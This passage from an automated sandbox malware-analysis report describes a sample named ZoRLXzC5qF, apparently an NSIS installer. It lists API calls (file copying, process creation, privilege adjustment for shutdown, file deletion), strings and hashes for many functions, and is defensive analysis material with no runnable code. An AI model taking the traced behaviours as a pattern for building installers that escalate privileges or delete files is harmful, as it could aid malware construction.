Part of subcall function 00406337: MoveFileExW.KERNEL32(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341

CopyFileW.KERNEL32(00442800,00437800,?,00441800,00000000), ref: 00403A54

Part of subcall function 00405B5A: CreateProcessW.KERNEL32(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Part of subcall function 004068D4: FindFirstFileW.KERNEL32(?,0042FAB8,0042F270,00405F97,0042F270,0042F270,00000000,0042F270,0042F270, 4Wu,?,00441800,00405CA3,?,75573420,00441800), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNEL32(00000000), ref: 004068EB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AA2
ExitProcess.KERNEL32 ref: 00403ABF
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AC6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AE2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AE9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AFE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B21
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B46
ExitProcess.KERNEL32 ref: 00403B69

Part of subcall function 00405B25: CreateDirectoryW.KERNEL32(?,00000000,00403545,00441800,00441800,00441800,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B

Strings

Error launching installer, xrefs: 0040391D
UXTHEME, xrefs: 00403640, 00403645, 0040364B
NSIS Error, xrefs: 004036B5
Low, xrefs: 00403868
TMP, xrefs: 00403882
SeShutdownPrivilege, xrefs: 00403AF8
TEMP, xrefs: 0040387A
~nsu%X.tmp, xrefs: 004039C8
\Temp, xrefs: 0040384C

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-2779336553
Opcode ID: bbfb8ee3b373486c2b96c0f4544b3db19e0e60a46ad8d454647acdf6da7e114b
Instruction ID: 854c728f01c0035939758d15b123b9002cb8995d15bf2fdbd915a0a46deb4321
Opcode Fuzzy Hash: bbfb8ee3b373486c2b96c0f4544b3db19e0e60a46ad8d454647acdf6da7e114b
Instruction Fuzzy Hash: 6DF1F470604301ABD320AF659D05B6B7EE8EB8570AF10483FF581B22D1DB7DDA458B6E

Function 00405C83 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75573420,00441800,0043F000), ref: 00405CAC
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,75573420,00441800,0043F000), ref: 00405CF4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,75573420,00441800,0043F000), ref: 00405D17
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,75573420,00441800,0043F000), ref: 00405D1D
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,75573420,00441800,0043F000), ref: 00405D2D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DCD
FindClose.KERNEL32(00000000), ref: 00405DDC

Strings

pB, xrefs: 00405CDC
\*.*, xrefs: 00405CEE

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*$pB
API String ID: 2035342205-1006940126
Opcode ID: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction ID: 26a84cf893ecfac7fe2d2a8ab9ced37764d13583991ceadb599b2dfedf858990
Opcode Fuzzy Hash: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction Fuzzy Hash: 8E41B030800A18B6CB21AB65DC4DAAF7778EF42718F10813BF851711D1DB7C4A82DEAE

Function 39CCE2C8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e07f691f1555d6dd0552c3fd84afd119cc28d05d0ce655bd0f9914552c9b7e9
Instruction ID: 4049f2c560cab4f6fc9a5adb995f103ad7be55838eabe3bd05019224eb3ea398
Opcode Fuzzy Hash: 1e07f691f1555d6dd0552c3fd84afd119cc28d05d0ce655bd0f9914552c9b7e9
Instruction Fuzzy Hash: 62D19174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D409AB355DB359E82CF50

Function 39CCB7C0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0fa1b7bfb7a06f8d7fc511d0191bc8258a3ace08596a12acecbe6ccd3f451b
Instruction ID: 2c7edc14e4f93796cd7578920a7e5f93cade72a789ba46f7829516466e2e860b
Opcode Fuzzy Hash: ec0fa1b7bfb7a06f8d7fc511d0191bc8258a3ace08596a12acecbe6ccd3f451b
Instruction Fuzzy Hash: 6FD1A174E40218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB354DB355E82CF50

Function 39CC9FD8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c398b99aedac944af4fbee1ebd76e9828adae4db964eeec62e9a7982e9aed2
Instruction ID: f030c149895cffea484b828b3616459c4f6ff2204ea03c7f410288d41864e72d
Opcode Fuzzy Hash: 54c398b99aedac944af4fbee1ebd76e9828adae4db964eeec62e9a7982e9aed2
Instruction Fuzzy Hash: D1D1A174E00218CFEB54DFA5D994B9DBBB2BF89300F6081A9D409AB355DB355E82CF50

Function 39CC74D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62e0d38c6a9a5c8124d7c7b922f4c1332e14778fa662b48a08864e775d01b9cc
Instruction ID: f04180777ee2a16a1136b78d7aa16874e27fd5d0209f205d09b99ca7d9255736
Opcode Fuzzy Hash: 62e0d38c6a9a5c8124d7c7b922f4c1332e14778fa662b48a08864e775d01b9cc
Instruction Fuzzy Hash: A4D19174E00218CFDB54DFA9D994B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CCF5E8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae7ba9e66386c36eda4486c40d7b973c3b52ea7025850f6c025b1381aaf4859
Instruction ID: 1f3b7491b028e211b27a4eb1dcfacc40faf3f26699ba2b8167ef8847008bc522
Opcode Fuzzy Hash: fae7ba9e66386c36eda4486c40d7b973c3b52ea7025850f6c025b1381aaf4859
Instruction Fuzzy Hash: A8D19174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CCCAE0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e15ff942724e2b094882f4d61ba412dba66067c033e9a83390e2eddb59543dd
Instruction ID: 1248fe387d2e7b8eebce435bd43701e91068f961c4a720291997e7cce2ab4748
Opcode Fuzzy Hash: 9e15ff942724e2b094882f4d61ba412dba66067c033e9a83390e2eddb59543dd
Instruction Fuzzy Hash: 80D19274E40218CFDB54DFA5D994B9DBBB2BF89300F6081A9D409AB354DB355E82CF50

Function 39CCB2F8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4414fa840b07da07853af72dc39b2203d1ddbace54de4a0264d8ce03d6b14a1c
Instruction ID: 9e6df10eb315d2be6db79dd46ef06ea927220305513835266feddec640076de1
Opcode Fuzzy Hash: 4414fa840b07da07853af72dc39b2203d1ddbace54de4a0264d8ce03d6b14a1c
Instruction Fuzzy Hash: CAD1A174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB354DB359E82CF50

Function 39CC87F0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53ea747c549cec3bfb601b5f8465891129b6b74f59f3debab0ae6d5a8a4a76dd
Instruction ID: cb5ae5d4ffd357e9e78f2c980d39560aa13d285a933f7d72e88c7ca75a8dcecd
Opcode Fuzzy Hash: 53ea747c549cec3bfb601b5f8465891129b6b74f59f3debab0ae6d5a8a4a76dd
Instruction Fuzzy Hash: 00D19174E01218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB354DB355E82CF50

Function 39CCBC88 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8606b8a8c2317891b10d285cde708f905f27734afb428be1b5a1c845666d35f0
Instruction ID: e9ecfb3c1ed9e641ab4056d293e46573f7e7929a6ff73087858ce5bca741a240
Opcode Fuzzy Hash: 8606b8a8c2317891b10d285cde708f905f27734afb428be1b5a1c845666d35f0
Instruction Fuzzy Hash: E8D1A274E40218CFEB54DFA5D994B9DBBB2BF89300F6081A9D409AB354DB355E82CF50

Function 39CC9180 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ee9af2b049fa2bfd8ccedfe4193faf729fc0f9c614107206f30c129892efb6
Instruction ID: 1841b64971bdd3cd70dc45213ba0380c67064c3110f038705c36424bbec15d3a
Opcode Fuzzy Hash: a7ee9af2b049fa2bfd8ccedfe4193faf729fc0f9c614107206f30c129892efb6
Instruction Fuzzy Hash: 7FD1A274E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D409AB355DB359E82CF50

Function 39CC7998 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d9d60cf9b4ae0cc525a55d8062049f44ce727e4717340a85fc8d60bd03ba9f
Instruction ID: 99327382805948cf5e71d548bade8c49b206a5931874db7ce2f1ce229fddba9f
Opcode Fuzzy Hash: f8d9d60cf9b4ae0cc525a55d8062049f44ce727e4717340a85fc8d60bd03ba9f
Instruction Fuzzy Hash: F8D19174E00218CFDB54DFA9D994B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CCE790 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c4743e9d0a6df10352ac5c16cf335dd03e874a46da6258b5144a3ca574d7cf
Instruction ID: 50705747de4a39f913c1a5f45b413bea9df8c71a2b8ef77d107f2a5ab2cd74b3
Opcode Fuzzy Hash: c3c4743e9d0a6df10352ac5c16cf335dd03e874a46da6258b5144a3ca574d7cf
Instruction Fuzzy Hash: 70D1A174E00218CFEB54DFA5D954B9DBBB2BF89300F6081A9D809AB355DB395E82CF50

Function 39CCCFA8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d1e617667eceb6d155eff059896c06579e48a67c2eeff6760dd04dfdea9e97
Instruction ID: c5e22c3f5c252493f47dcdf96a933083826c3d29230182b7e94eadda97ee005f
Opcode Fuzzy Hash: c7d1e617667eceb6d155eff059896c06579e48a67c2eeff6760dd04dfdea9e97
Instruction Fuzzy Hash: 68D1B174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CCA4A0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3865f2c3cb431ef15a297d2018855fef1d9d17efeac0bbcd795747ff0a857671
Instruction ID: 13ceeba782d4aa87e67cb8bc2f9c3f828359dbd6199ad328423e6e30f39028d8
Opcode Fuzzy Hash: 3865f2c3cb431ef15a297d2018855fef1d9d17efeac0bbcd795747ff0a857671
Instruction Fuzzy Hash: 86D1A174E00218CFEB54DFA5D994B9DBBB2BF89300F6081A9D809AB354DB355E82CF50

Function 39CC8CB8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2f8fa3853e7ea91338dde754a895aa3adc1fd91b24b072c79af66d41e5da0d
Instruction ID: 7cd4fdb11a19b4eec323b163b5d34cb6332b7fef2404a73dc6ddab36f2319770
Opcode Fuzzy Hash: 1e2f8fa3853e7ea91338dde754a895aa3adc1fd91b24b072c79af66d41e5da0d
Instruction Fuzzy Hash: 63D19174E00218CFEB54DFA5D995B9DBBB2BF89300F6081A9D809AB354DB355E82CF50

Function 39CCFAB0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19f3874e901f2a43600b4f9a33377267d5dff707fc22d33ff92c712d0b07fff8
Instruction ID: 6e5aa578e8c95282b268c78a3f4f2433cd0238656d24350782a7b7a080f302bd
Opcode Fuzzy Hash: 19f3874e901f2a43600b4f9a33377267d5dff707fc22d33ff92c712d0b07fff8
Instruction Fuzzy Hash: DCD19174E00218CFEB54DFA5D954B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CC9648 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12088714ad566e8f467a93cd2b199ad973c508afb5db09cde5e1eab3a612b307
Instruction ID: 437d401da4d59e2759183b18f209b9d7384a92f29df966ce0696ce6758ce1340
Opcode Fuzzy Hash: 12088714ad566e8f467a93cd2b199ad973c508afb5db09cde5e1eab3a612b307
Instruction Fuzzy Hash: 1AD1A278E00218CFDB54DFA5D954B9DBBB2BF89300F6081A9D409AB354DB355E82CF50

Function 39CC6B40 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1686de69bc34d7f4d4f055599deceaf9ff36ab100a7aaee0b369f0b2df7ffd00
Instruction ID: 963412ba9d9beb8227dcb300e18dae0fad464d2a351bf31dde700446eddc8f66
Opcode Fuzzy Hash: 1686de69bc34d7f4d4f055599deceaf9ff36ab100a7aaee0b369f0b2df7ffd00
Instruction Fuzzy Hash: 6ED19274E00218CFEB54DFA5D954B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CCEC58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3431d1db464d1242054bd079ebf2dbe28b49a3d601ca0b748469fbb275f44b4b
Instruction ID: ea568cd85df74c23832ebc2204c98d44ed6f5b3d7740d27ba9b6bb32a0973df1
Opcode Fuzzy Hash: 3431d1db464d1242054bd079ebf2dbe28b49a3d601ca0b748469fbb275f44b4b
Instruction Fuzzy Hash: CFD1A274E00218CFEB54DFA5D994B9DBBB2BF89300F6081A9D409AB355DB355E82CF50

Function 39CCC150 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4985d0b045c953e9e54307d2eb02791174cf3187f5cb16114008fc90c7738c26
Instruction ID: 44dfcf00e2f3d648aa8a78d9dd7ad88d00368b32f422cbc9fcfb8dbc1e7de45c
Opcode Fuzzy Hash: 4985d0b045c953e9e54307d2eb02791174cf3187f5cb16114008fc90c7738c26
Instruction Fuzzy Hash: 71D1A274E00218CFDB14DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CCA968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ab0a1d1a339e11507dbbb5f14be2642c11870d27d4d64f0e5fd59ab151d3f71
Instruction ID: a30336a56006661e7a05940be82f23ce1c569afa70c59bae5d07b0f5b49fcb97
Opcode Fuzzy Hash: 8ab0a1d1a339e11507dbbb5f14be2642c11870d27d4d64f0e5fd59ab151d3f71
Instruction Fuzzy Hash: 44D19174E01218CFEB54DFA5D994B9DBBB2BF89300F6081A9D409AB354DB355E82CF50

Function 39CC7E60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f479742c8c03debb8b45258109d973404c616828ddecb70586ca3480ff3da1c
Instruction ID: d8f5cf51e799b721acd5daaa78e64ec6022b7529f4d97fd96787c540512e8218
Opcode Fuzzy Hash: 2f479742c8c03debb8b45258109d973404c616828ddecb70586ca3480ff3da1c
Instruction Fuzzy Hash: 27D19274E00218CFDB54DFA9D994B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CCD470 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 421fecc839b3972be1c504275b0795176cb97398e69067dad88216cd2618b514
Instruction ID: 92cb66355f40aca2b982c3c150b013eb543a67d1e21c09afb32cece6ea0eb72d
Opcode Fuzzy Hash: 421fecc839b3972be1c504275b0795176cb97398e69067dad88216cd2618b514
Instruction Fuzzy Hash: AFD19075E00218CFDB54DFA9D994B9DBBB2BF89300F6081A9D809AB354DB355E82CF50

Function 39CC7008 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4aa6b82da95cdca3a79e4c92b213a4ad0f9ca847d4a95115819bcf7b611c49
Instruction ID: 3de13ff990ebea9d3d42acb30945cac1c941559dc6e82357a595ca55649d7ed9
Opcode Fuzzy Hash: cb4aa6b82da95cdca3a79e4c92b213a4ad0f9ca847d4a95115819bcf7b611c49
Instruction Fuzzy Hash: B7D1A274E00218CFDB54DFA9D994B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CCDE00 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5888db97be7a475c75506c07eabf0da0842aadbd7e8cae262ff2fee5b8e38ffe
Instruction ID: b64ab0039b66fe8af33879837f7b9569025556f36abe82c30c67b52d02097b7a
Opcode Fuzzy Hash: 5888db97be7a475c75506c07eabf0da0842aadbd7e8cae262ff2fee5b8e38ffe
Instruction Fuzzy Hash: CED1A274E00218CFEB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CCC618 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d183a6c2b66f1abefed84681a14c2168a89bbc794508474f5d569796f35fb32
Instruction ID: ea0dc0397b5cb3f3b2a8c8f8af844e0833de3a3715b047995b9145841e00daa0
Opcode Fuzzy Hash: 8d183a6c2b66f1abefed84681a14c2168a89bbc794508474f5d569796f35fb32
Instruction Fuzzy Hash: CDD19174E40218CFEB54DFA5D994B9DBBB2BF89300F6081A9D409AB354DB355E82CF50

Function 39CC9B10 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b41411856a350847047acbfadaac35e5359de3baa5ba3a36bd09eed8a7b242
Instruction ID: 08349df148cb9a353d67d0c7560336eccaff31975c05755db1545a92a6eedce3
Opcode Fuzzy Hash: d1b41411856a350847047acbfadaac35e5359de3baa5ba3a36bd09eed8a7b242
Instruction Fuzzy Hash: 05D19174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CC8328 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af6a6e34d275a8cb56e921795c419d3eba752c21bf2ff258ff9e4cd5d88c5eeb
Instruction ID: 970ac3813b0a089609edb00f417061e5ad97413d8093b332e018e23db551c4d8
Opcode Fuzzy Hash: af6a6e34d275a8cb56e921795c419d3eba752c21bf2ff258ff9e4cd5d88c5eeb
Instruction Fuzzy Hash: A0D19274E00218CFEB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB355E82CF50

Function 39CCF120 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa071bc44ef0a05f7ce492ad4dfb30115fcd72d9c1c07c8ed00a29dce35991f9
Instruction ID: 8e8dd2f22f0b66b5538f0bf90c8a9e270ef56e266f51dbc3d0e8623b472fec15
Opcode Fuzzy Hash: fa071bc44ef0a05f7ce492ad4dfb30115fcd72d9c1c07c8ed00a29dce35991f9
Instruction Fuzzy Hash: 36D1A174E00218CFDB54DFA5D994B9DBBB2BF89300F6081A9D809AB355DB359E82CF50

Function 39CCD938 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

